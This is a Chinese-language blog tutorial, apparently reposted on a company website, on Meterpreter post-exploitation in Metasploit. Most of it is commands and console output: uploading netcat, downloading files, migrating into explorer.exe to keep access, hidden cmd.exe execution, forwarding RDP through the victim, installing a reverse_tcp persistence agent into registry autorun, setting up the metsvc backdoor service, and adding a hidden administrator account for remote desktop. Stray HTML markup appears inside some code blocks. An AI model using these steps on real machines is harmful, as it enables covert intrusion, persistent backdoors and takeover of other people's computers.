仅仅是驻留在内存的shellcode。。
大概长这个样子:
它比一般的攻击手法要好一些,一般的payload是这么工作的:
1
2
3
|
(1)用pay<span class=“operator”><span class=“keyword”>load</span>在被攻击者机上开一个端口A
(<span class=“number”>2</span>)把命令行终端绑定到A上
(<span class=“number”>3</span>)攻击者访问A,就与被攻击者机器交互</span>
|
但这样的坏处:
1
2
3
|
(<span class=“number”>1</span>)建一个新进程,容易被侦查
(<span class=“number”>2</span>)攻击者和被攻击者之间的通信是通过端口互发送数据,容易被IDS侦查
(<span class=“number”>3</span>)被攻击者可能<span class=“keyword”>chroot</span>(change root directory),限权
|
meterpreter的优点:
1
2
3
|
(<span class=“number”>1</span>)纯内存,所有的需要调用的API都是HOOK
(<span class=“number”>2</span>)<span class=“number”>16</span>字节一组<span class=“keyword”>xor</span>加密,SSL通信封装传输
总之就是不易被发现,什么平台通用性,可拓展性都是妥妥的。。
|
基本命令:
1
2
3
4
5
|
background # 让meterpreter处于后台模式
sessions -i index # 与会话进行交互,index表示第一个session
quit # 退出会话
shell # 获得控制台权限
irb # 开启ruby终端
|
文件系统命令:
1
2
3
4
5
6
|
cat c:/boot.ini # 查看文件内容
getwd # 查看当前工作目录 work directory
upload /root/Desktop/netcat.exe c:/ # 上传文件到目标机上
download nimeia.txt /root/Desktop/ # 下载文件到本机上
edit c:/boot.ini # 编辑文件
search -d c:/windows -f *.mdb # search 文件
|
网络命令:
1
2
3
4
|
ipconfig / ifconfig # 查看网络接口信息
portfwd add -l 5555 -p 3389 -r 192.168.198.129 # 端口转发,本机监听5555,把目标机3389转到本机5555
root@bt:~# rdesktop -u Administrator -p 123qwe 127.0.0.1:5555
route # 获取路由表信息
|
系统命令:
1
2
3
4
5
6
7
8
|
ps # 查看当前活跃进程
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
getpid # 获取当前进程的pid
kill pid # 杀死进程
getuid # 查看权限
sysinfo # 查看目标机系统信息,如机器名,操作系统等
shutdown # 关机
|
写到这,我们给命令们排个龙虎榜吧:
第一名:ps + migrate ,因为我们是通过IE进来的,如果IE关掉了呢?如果它再也不访问那个hook页面了,我们岂不是再也get不了shell了。。
所以应该早早移植到别的进程空间,如Explorer.exe,这它不去关掉吧。。
第二名:execute ,能cmd.exe
第三名:portfwd ,端口转发,现实中基本都是要转发的~
看官们,如果你不同意我的看法,可以评论,发表下你的观点哦~~
一直以为 Meterpreter == Metasploit后渗透攻击模块,结果不是这样的。
科普下Metasploit渗透测试平台的组成:
1
2
3
|
AUX辅助模块 信息搜集
Exploit模块 渗透攻击
后渗透模块 主机控制与拓展攻击的渗透测试全过程支持
|
Meterpreter 是Metasploit的一个payload,只是比较强大很多而已。它与后渗透模块的关系就是,前者是后者的 实施通道 。
后攻击模块使用ruby写的,目标机上很可能没有ruby解释器,那怎么玩?
1
2
3
4
|
meterpreter > run post/windows/gather/checkvm
[*] Checking if EMASTER-8G5WOLV is a Virtual Machine .....
[*] This is a VMware Virtual Machine
|
如果是虚拟机,热情就下降了。。
也很可能是蜜罐。。
1
2
3
4
5
6
7
8
9
10
|
meterpreter > run persistence -X -i 5 -p 443 -r 192.168.0.108
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/EMASTER-8G5WOLV_20131206.5032/EMASTER-8G5WOLV_20131206.5032.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=443
[*] Persistent agent script is 609628 bytes long
[+] Persistent Script written to C:WINDOWSTEMPlOFkqsGGtNr.vbs
[*] Executing script C:WINDOWSTEMPlOFkqsGGtNr.vbs
[+] Agent executed with PID 1888
[*] Installing into autorun as HKLMSoftwareMicrosoftWindowsCurrentVersionRuntTCmdZkXLp
[+] Installed into autorun as HKLMSoftwareMicrosoftWindowsCurrentVersionRuntTCmdZkXLp
|
然后它就在目标机的C:/windows/Temp/下建立一个vbs文件,开机会启动这个文件
上面的vbs的确存在,并且开机启动也有,但是就是有:
这个问题,百度后发现都是说出现这情况是中毒中马,然后教大家删东东,删自启动。。
为什么meterpreter出品的东西会在xp下这么容易暴露呢?
追查了下,NTVDM是win 16虚拟机的一部分,是win 为了向下兼容16位程序的虚拟机。
但是还是提到这么回事?
这里留个坑吧,路过的大神,如果看到,可以给我回答吗?
1
2
3
4
5
6
7
8
9
10
11
12
|
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:DOCUME~1ADMINI~1LOCALS~1TempJszPreYrwkWEm…
[*] >> Uploading metsrv.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.
meterpreter >
|
上传了三个dll文件
然后就在目标机器上多了一个 自启动的服务:Meterpreter。。。
然后连接:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set payload windows/metsvc_bind_tcp
payload => windows/metsvc_bind_tcp
msf exploit(handler) > set RHOST 192.168.0.111
msf exploit(handler) > set LPORT 31337
RHOST => 192.168.0.111
LPORT => 31337
msf exploit(handler) > exploit
[*] Started bind handler
[*] Starting the payload handler...
[*] Meterpreter session 1 opened (192.168.0.108:39406 -> 192.168.0.111:31337) at 2013-12-06 14:24:29 +0800
meterpreter >
|
觉得没什么用,不就是建立账户+加入组:”Remote Desktop Users” 和 “Administrators”,然后3389连接,如果内网就portfwd。。
这里的没什么用还得对面必须开启了3389。。
1
|
meterpreter > run getgui -u aa -p 123qwe
|
如果没出问题的话,应该是添加了用户aa,密码为123qwe,并把它加入到那两个组中。。
然后:
1
|
msf exploit(handler) > rdesktop -u aa -p 123qwe 192.168.0.111:3389
|
连上~
如果在内网,那么就先端口转发:
1
2
|
portfwd add -l 5555 -p 3389 -r 192.168.0.111 # 端口转发,本机监听5555,把目标机3389转到本机5555
root@bt:~# rdesktop -u Administrator -p 123qwe 127.0.0.1:5555
|
via@【 emaster 】
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号